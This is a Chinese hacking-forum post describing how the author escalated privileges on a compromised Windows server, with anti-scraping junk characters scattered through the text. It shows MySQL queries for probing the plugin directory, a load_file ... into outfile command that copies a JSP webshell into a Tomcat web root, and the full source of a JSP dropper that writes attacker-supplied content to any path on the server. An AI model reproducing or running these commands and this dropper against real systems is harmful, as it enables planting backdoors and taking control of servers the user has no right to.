找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2485|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。
) ?# k+ n% X) {. `& }) C5 ?
( @. k( z8 D4 f* N5 ]2 D首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
. T, O, o0 B& x; v1 A( r( ~) L安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
$ X' j+ |6 J& ]2 Y* ?6 R7 _提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了( B  P5 E. s% _& i4 }
1 show variables like '%plugin%';8 J0 C& |& m& @  H$ w2 f* h: o
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
: y: U' {/ H3 }. r- O- x创建自定义函数似乎被拦截,一直失败。" I: ]# D: s- R9 C5 R+ Z
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限) l& V6 e1 p- ?# ^; p( Q  n
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp3 N9 ^: A" i3 @# y9 ?
用mysql执行语句:
9 w2 I, n1 z" j, S: |1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp') V0 b4 M$ Y" f. x' }) h
2 复制代码
* ]  Q% \  n/ ^! c后成功。6 S0 J0 G  [6 L, C  v% ?
但是访问后得到如下提示:7 \, ?1 L! H3 G& u3 Q
​500页面
4 W+ R9 J/ a. ]3 x" i
- A: \( i" s* c- v( j& g8 R8 P3 S
9 ]9 A# q+ I6 ^# D. W' t8 e# y明显是MySQL的Win下版本自动添加转义符\n\r了
/ v5 ]- N! v* b; y, l; n这样导致程序运行的悲剧。
0 [; k8 T% O! J5 n# y: E从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。" s$ k: j! o0 s
最后弄了这么个小脚本:7 m  _- P0 R+ @  E7 [: j
01 <%@ page language="java" pageEncoding="gbk"%>
& e2 H- @/ a& F' j9 R# J. N02 <jsp:directive.page import="java.io.File"/>; b- D7 e/ ]6 `2 \  h* _
03 <jsp:directive.page import="java.io.OutputStream"/>
# o! _) z: W( i1 Z6 }! E+ }# ?: }04 <jsp:directive.page import="java.io.FileOutputStream"/>
7 z0 [" i4 g* x' U/ a* v$ t& U05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>3 |( i" ^; f, `( \' ^) ^9 T
06 error www.2cto.com
4 Z7 z, Y: @# @- G+ h# g- Y07 <%}}if(i==0){%>: N+ S1 Q$ p2 R+ M$ X& k) p, d
08 ok# B3 ^% W$ z  O- s7 S: H
09 <%}%>
$ W1 r- |- H5 k9 C10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">5 e' `% R, G! F  z6 i& U% D# Y: ]
就可以避免转义符让JSP的马儿运行500错误了。
( p1 O% |, O) ?* ^* w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表